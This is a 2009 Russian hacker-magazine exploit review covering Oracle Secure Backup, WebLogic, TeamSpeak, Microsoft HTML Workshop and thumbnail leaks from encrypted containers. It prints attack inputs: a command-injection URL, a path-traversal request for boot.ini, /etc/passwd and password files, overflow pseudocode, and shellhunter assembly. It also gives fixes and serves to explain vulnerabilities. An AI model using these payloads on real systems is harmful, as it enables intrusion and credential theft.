Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #122, ФЕВРАЛЬ 2009 г.

Обзор эксплойтов

Андрей «Skvoz» Комаров

Многочисленные уязвимости в продуктах Oracle

Brief

Очередным ежеквартальным обновлением специалисты из Oracle прикрыли около 40 брешей в своих продуктах. Все из них классифицируются удаленной эксплуатацией и затрагивают такие маститые проекты, как: WebLogic Server 7.0/8.0/10.0, Oracle 9i/10g/11g, E-Business Suite 11i и многие другие. Пару лет назад, после заявления Ларри Эллисона о том, что детища его компании носят титул «unbreakable», хакеры доказали, что он поторопился с выводами. Отметим, что почти все ниже перечисленные багги, имеют достаточно высокие критерии по риску (степени критичности). По подсчету CVSS2 Risk Score - Microsoft Windows (10) / Linux и Unix (7,5). Кособокость всех продуктов Oracle состоит из навороченности, при которой зачастую не соблюдаются простые истины.

Выполнение произвольного кода в Oracle Secure Backup (10.1.0.3 <- 10.2.0.2)

Уязвимость найдена в сценарии авторизации (login.php). Он входит в поставляемый с сервером хранения резервных копий PHP-фронтенд, поэтому уязвимость можно назвать кроссплатформенной, вне зависимости от того, под какой ОС будет установлен сервер. Передающиеся данные с login.php напрямую отправляются утилите obt.exe. При этом не осуществляется никаких проверок на ограничение и контент данных, в чем можно убедиться, проанализировав исходный код:

if (strlen($ora_osb_bgcookie) > 0 && $button == "Logout")
{
// Turn DEBUG_EXEC to off
$tmp = $DEBUG_EXEC;
$DEBUG_EXEC = "no";

// Teminate the connection.
$qr_command = "$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie";
$msg = exec_qr("$qr_command");

// exec_qr вызывает PHP-функцию popen, для исполнения команды
// в свою очередь, переменная $qr_command может хранить заведомо вредоносные
// параметры (/bin/sh, cmd.exe) для неавторизированного выполнения кода без
// проверки данных для авторизации – все, что потребуется, наличие сетевого
// доступа к серверу бекапов

if (strncmp($msg[0], "Error:", 6))
{
// Set the cookie up.
setcookie("ora_osb_bgcookie", "");
setcookie("ora_osb_lcookie", "");
$ora_osb_bgcookie = "";
}

// Reset DEBUG_EXEC.
$DEBUG_EXEC = $dtmp;
}
header("Location: /login.php?clear=yes");

Targets

Вся линейка операционных систем, под которые написан сей продукт.

Exploit

Эксплуатация вполне наглядна – в том месте, где мы имеет доступ к серверу и минимальные права, можно создать собственный сценарий и попробовать что-либо исполнить. Неавторизированное создание файла выполняется следующим ядовитым линком:

https://<target>/login.php?clear=no&ora_osb_lcookie=
aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/
c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;

Solution

Самое простое решение проблемы – отключить WEB-сервер, не забыв о вышедших обновлениях. В версии 10.2.0.3 брешь устранена.

Переполнение буфера в компоненте «Apache Connector» Oracle BEA WebLogic Server

Brief

Путем посылки специально сформированного HTTP-пакета фиксированной длины злоумышленник может удаленно нарушить корректную работу WEB-сервера. Успешная реализация приводит к DoS-атаке. На Java достаточно обратиться с помощью POST-запроса к /.jsp с достаточно длинным параметром. Реализация атаки в псевдо-коде будет примерно следующей:

$a = "A" x 6000;
# инициализация сокета
# отправка POST
"POST /.jsp $a\r\n\r\nHost: localhost\r\n\r\n";

Targets

BEA WebLogic Server 6.x,7.x,8.x,9.x, 10.x

Exploit

Одним из первых авторов, обнаруживших уязвимость задолго до публичного релиза (в июле 2008), стал товарищ KingCope. Боевой эксплоит можно найти здесь – milw0rm.com/exploits/6089.

Solution

Установить на сервер специальный плагин и радоваться жизни:
ftp://anonymous:dev2dev%40bea%2Ecom@ftpna.bea.com/pub/releases/security/WLSWebServerPlugins1.0.1136334-Apache.zip

TeamSpeak Server <= 2.0.23.17 remote read file

Brief

Первыми, заметившими проблему, были люди из Heise-Security (heise-online.co.uk/security/Vulnerability-in-TeamSpeak-2-server--/news/93734), но в паблик никакой подробной информации они не пустили. В итоге, наш соотечественник c411k расковырял этот сервис и выпустил на потеху народу опасный эксплоит. Опасность заключается в том, что при непосредственном взаимодействии с TeamSpeak возможно чтения локальных файлов на сервере. Так, если TS установлен на сервере, который админится через PLESK/Cpanel, то при грамотном раскладе у хакера будет возможность прочитать их конфиги и влезть в саму панель. TS открывает по умолчанию три TCP-порта:

  • 8767 – клиентское соединение
  • 14534 – WEB-админка
  • 51234 – TCQQuery Admin

Все бы ничего, да при выводе справки «help ver» читает файл из папки ./tcpquerydocs/ ver.txt. Существует возможность изменить параметр в этом обращении и прочитать конкретный файл на системе. Пример:

telnet localhost 51234
help ../../../../boot.ini\0 (\0 – нуль-байт)

Особый интерес для чтения могут представлять файлы:

server.log – в данном файле может быть расположен пароль суперюзера TS
server.dbs –в данном файле может быть расположен пароль суперюзера TS
../../../../../boot.ini
../../../../../etc/passwd
../../../../../usr/local/apache/conf/httpd.conf etc.

Targets

Описанные версии на платформах Windows/Linux/Unix.

Exploit

Полноценный эксплоит можно найти на форуме Antichat.ru (forum.antichat.ru/showthread.php).

Solution

Ознакомиться с рекомендациями разработчиков и установить соответствующий патч можно здесь - forum.teamspeak.com/showthread.php?t=38515.

Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow

Brief

Интересное переполнение буфера, демонстрирующее новый метод в эксплуатации – «shellhunting», благодаря которому эксплоит универсально исполняется на 2k, XP, Vista . По сути, «shellhunter» – это просто участок кода, обладающий некой хитростью.

Шелл-код ставит SEH-обработчик:

004004C6 $ 58 POP EAX
004004C7 . 83E8 3C SUB EAX,3C
004004CA . 50 PUSH EAX
004004CB . 6A FF PUSH -1
004004CD . 33DB XOR EBX,EBX
004004CF . 64:8923 MOV DWORD PTR FS:[EBX],ESP
004004D2 . EB 05 JMP SHORT prog.004004D9
004004D4 > E8 EDFFFFFF CALL prog.004004C6

Баг присутствует из-за неправильной обработки заголовка файла. Все управление при ее исполнении передается на «Shellhunter».

#/----------------Advanced Shellhunter Code----------------\
#01D717DD EB 1E JMP SHORT 01D717FD |
#01D717DF 83C4 64 ADD ESP,64 |
#01D717E2 83C4 64 ADD ESP,64 |
#01D717E5 83C4 64 ADD ESP,64 |
#01D717E8 83C4 64 ADD ESP,64 |
#01D717EB 83C4 64 ADD ESP,64 |

По идее, сюда можно было бы сразу впихнуть шелл-код, но это не есть хорошо, – шелл-код может не уместиться по размеру. «Shellhunter» ищет в памяти приложения, наша задача – просканировать память на заведомо известные сигнатуры, которые задаются в самом начале эксплоита:

my $lookout1 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42" x 64;
my $lookout2 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42" x 64;
my $lookout3 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42" x 64;
my $lookout4 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42\x42" x 64;

Можно было бы сделать эксплоит под какую-то одну из версий Windows, но был бы он универсальным? Чтобы переполнить буфер, в конкретно заданном примере требуется всего 280 байт. Соответственно, такого места просто недостаточно для импорта reverse/bind шелл-кода.

Сканирование памяти:

#01D7181B B8 12121212 MOV EAX,12121212
#01D71820 6BC0 02 IMUL EAX,EAX,2
#01D71823 BA D0FAFD7F MOV EDX,7FFDFAD0
#01D71828 83C7 20 ADD EDI,20
#01D7182B 893A MOV DWORD PTR DS:[EDX],EDI
#01D7182D 3907 CMP DWORD PTR DS:[EDI],EAX
#01D7182F ^75 F7 JNZ SHORT 01D71828
#01D71831 83C7 04 ADD EDI,4
#01D71834 6BC0 02 IMUL EAX,EAX,2
#01D71837 3907 CMP DWORD PTR DS:[EDI],EAX
#01D71839 ^75 E0 JNZ SHORT 01D7181B
#01D7183B 83C7 04 ADD EDI,4
#01D7183E B8 42424242 MOV EAX,42424242
#01D71843 3907 CMP DWORD PTR DS:[EDI],EAX
#01D71845 ^75 D4

В этом коде сравнивается значение памяти по адресу в edi с 24242424 и 42424242.

JNZ SHORT 01D7181B
#01D71847 83C7 04 ADD EDI,4
#01D7181B B8 12121212 MOV EAX,12121212
#01D71820 6BC0 02 IMUL EAX,EAX,2

Теперь – в eax 424242. Далее сравниваем:

#01D7182B 893A MOV DWORD PTR DS:[EDX],EDI
#01D7182D 3907 CMP DWORD PTR DS:[EDI],EAX

Если совпало - берем следующее число:

01D71834 6BC0 02 IMUL EAX,EAX,2
#01D71837 3907 CMP DWORD PTR DS:[EDI],EAX

Умножаем eax на 2 (получаем 484848). Если опять совпало - берем другое:

#01D7183E B8 42424242 MOV EAX,42424242
#01D71843 3907 CMP DWORD PTR DS:[EDI],EAX
#01D71845 ^75 D4 JNZ SHORT 01D7181B

Итог: если в программе возникает исключение, «Shellhunter» устанавливает seh-handler (такой участок кода, на который будет передана обработка) – а исключения у нас возникают, когда «shellhunter» попадает в несуществующие участки памяти при сканировании на предмет поиска shellcode, в чем можно убедиться из примера. Кстати, при анализе эксплоита я пошел от противного. Сначала можно просто запустить эксплоит, получив на выходе файл. Затем, с помощью стандартной утилиты (masm32\bintodb.exe) из пакета MASM или ее аналога, я решил сделать массив данных – впоследствии забить его в самописную минимальную прогу и реверсить дальше:

686
.mmx
.model flat,stdcall
option casemap:none

include gdi32.inc
include kernel32.inc
include user32.inc
include shell32.inc
include advapi32.inc
include windows.inc
include ntdll.inc

includelib gdi32.lib
includelib kernel32.lib
includelib user32.lib
includelib shell32.lib
includelib advapi32.lib
includelib ntdll.lib


.const
.data?
.data
include 1.txt (то, что мы получили на выходе от bin2db)
DefaultInternet db 'Hello',0
.code
start:
invoke MessageBoxA, 0, offset DefaultInternet, NULL, MB_OK
invoke ExitProcess, 0

end start

Грузим программу в OllyDbg, вводим адрес начала секции данных и переходим туда (ПКМ -> New Origin Here). Такой прием позволит встать строго на начало шелл-кода.

Targets

Windows 2k, XP, Vista

Exploit

Эксплойт можно слить по адресу http://milw0rm.com/exploits/7727. Он генерирует файл определенного формата (s.hpp). При реверсе формата опознается примерно следующим образом:

[OPTIONS]
Contents file=A
Index file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
a-da-da-da-da-da-da-da-da-da-T3 ¦¦•?i:?
Xa?<Pj 3-de#? ?? kL ¦¦•?a¦ e:9u?a¦ kL 9u?a¦ BBBB9uLa¦ ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo@
[FILES]

Уязвимость затрагивает секцию OPTIONS в параметре Index File.

Solution

В настоящий момент уязвимость неустранима.

Раскрытие данных при хранении графических изображений на шифрованных контейнерах

Brief

Эскизы (thumbnails) — уменьшенные изображения, дающие приблизительное представление об их оригиналах. В Windows ME/2000/XP/2003 эскизы хранились в файлах Thumbs.db, которые находились в директориях с графическими файлами. Начиная с Windows Vista, эскизы хранятся централизованно для каждого пользователя. Аналогичная система хранения эскизов присутствует во множестве окружений рабочего стола для Unix-like систем (например, GNOME). Сейчас будут рассмотрены особенности баз данных эскизов в Windows Vista и в среде GNOME (Linux) при работе с зашифрованными файловыми системами.
Ситуация в Windows VISTA выглядит примерно следующей. База данных эскизов хранится в директории: «\Users\<имя_пользователя>\AppData\Local\Microsoft\Windows\Explorer». Эта директория содержит следующие файлы.

thumbcache_idx.db
thumbcache_NN.db, где «NN» обозначает размер содержащихся в файле эскизов
thumbcache_sr.db

Файл «thumbcache_idx.db» является индексом всей базы данных — в нем хранится информация о соответствии эскизов в файлах «thumbcache_NN.db» с файлами на различных файловых системах. Этот файл начинается со строки «IMMM».

Файл «thumbcache_NN.db» содержит в себе эскизы и начинается со строки «CMMM». Эскизы хранятся в различных форматах, например, BMP и PNG, в «пачках» (chunks) данных – с целью исключения фрагментации. Цифра «NN» в имени файла обозначает размер (в пикселях) большей стороны эскиза.

Стоит отметить, что в базе данных эскизов отсутствует явная информация о путях к файлам, которым соответствует тот или иной эскиз. Вместо пути используется специальный идентификатор, который описывает исходный файл в системе.

В механизме генерации эскизов в Windows Vista были обнаружены следующие особенности:

  1. Эскизы генерируются вне зависимости от того, на каком носителе находится файл (локальном или удаленном, на жестком диске или на CD и т.п.);
    Для файлов, зашифрованных при помощи EFS, эскизы не сохраняются;
  2. Существующие эскизы не удаляются, если файлы шифруются при помощи EFS.

Подобные особенности приводят к тому, что мы получаем:

  1. Возможность определения, какие графические данные хранились на подключенных сменных носителях;
  2. Возможность просмотра эскизов графических файлов на некоторых зашифрованных разделах и контейнерах;
  3. Возможность определения так называемых «скрытых контейнеров».

Проведенные тесты показали, что следующие продукты позволяют Windows создавать эскизы графических файлов, расположенных на зашифрованных файловых системах (сам эскиз при этом хранится на незашифрованном системном разделе):

  • TrueCrypt 6.1a (протестирован только режим создания контейнеров в виде файлов, тесты проведены как с обычными, так и со скрытыми контейнерами);
  • BestCrypt v. 8 (протестирован только режим создания контейнеров в виде файлов, тесты проведены как с обычными, так и со скрытыми контейнерами);
  • PGP Desktop 9.9 (протестирован только режим создания контейнеров в виде файлов).

Для извлечения эскизов из базы данных можно использовать как специализированные продукты (например, DM Thumbs — www.dmthumbs.com), так и программное обеспечение, предназначенное для извлечения файлов по их внутренней структуре (например, foremost – http://foremost.sf.net и hachoir-subfile – http://hachoir.org).

В среде GNOME эскизы графических файлов хранятся в домашней директории пользователя (~/.thumbnails/normal). Каждый эскиз представляет собой графический файл формата PNG, в метаданные которого включена информация служебного характера (путь к исходному изображению, размеры исходного изображения и т.п.). Эскизы генерируются вне зависимости от точки монтирования, что приводит к сохранению эскизов с примонтированных зашифрованных файловых систем и сменных носителей.

Держи дамп эскиза, созданного для графического файла на примонтированном контейнере TrueCrypt:

$ hachoir-metadata ~/.thumbnails/normal/0d97afdc637ac86d75d13e72172dc77c.png
Metadata:
- Image width: 128 pixels
- Image height: 122 pixels
- Bits/pixel: 24
- Pixel format: RGB
- Compression rate: 1.6x
- Compression: deflate
- Producer: GNOME::ThumbnailFactory
- Comment: Thumb::Image::Width=779
- Comment: Thumb::Image::Height=744
- Comment: Thumb::URI=file:///media/truecrypt1/123.jpg
- Comment: Thumb::MTime=1216153400
- MIME type: image/png
- Endian: Big endian

Дамп эскиза, созданного для графического файла на CD:

$ hachoir-metadata ~/.thumbnails/normal/f34c0ff3299e0a0b87a4a9a3a4d994ff.png
Metadata:
- Image width: 128 pixels
- Image height: 96 pixels
- Bits/pixel: 24
- Pixel format: RGB
- Compression rate: 1.5x
- Compression: deflate
- Producer: GNOME::ThumbnailFactory
- Comment: Thumb::Image::Width=3264
- Comment: Thumb::Image::Height=2448
- Comment: Thumb::URI=file:///media/%D0%BE%D0%BA%D1%82%2025%202006/P1010043.JPG
- Comment: Thumb::MTime=1161800029

Дамп эскиза, созданного для графического файла теперь можно наглядно лицезреть локально на своем компьютере в подлинном виде, что говорит о дефекте в хранении графических изображений на современных операционных системах. Автором данной уязвимости в ПО для крипо-защиты является Максим Суханов (fuf@itdefence.ru). Шлем ему всяческие респекты и пожелания :).

Содержание